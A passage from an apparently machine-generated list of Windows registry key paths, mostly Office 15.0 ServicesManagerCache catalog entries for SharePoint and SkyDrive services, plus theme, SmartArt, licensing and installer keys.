  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1594. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
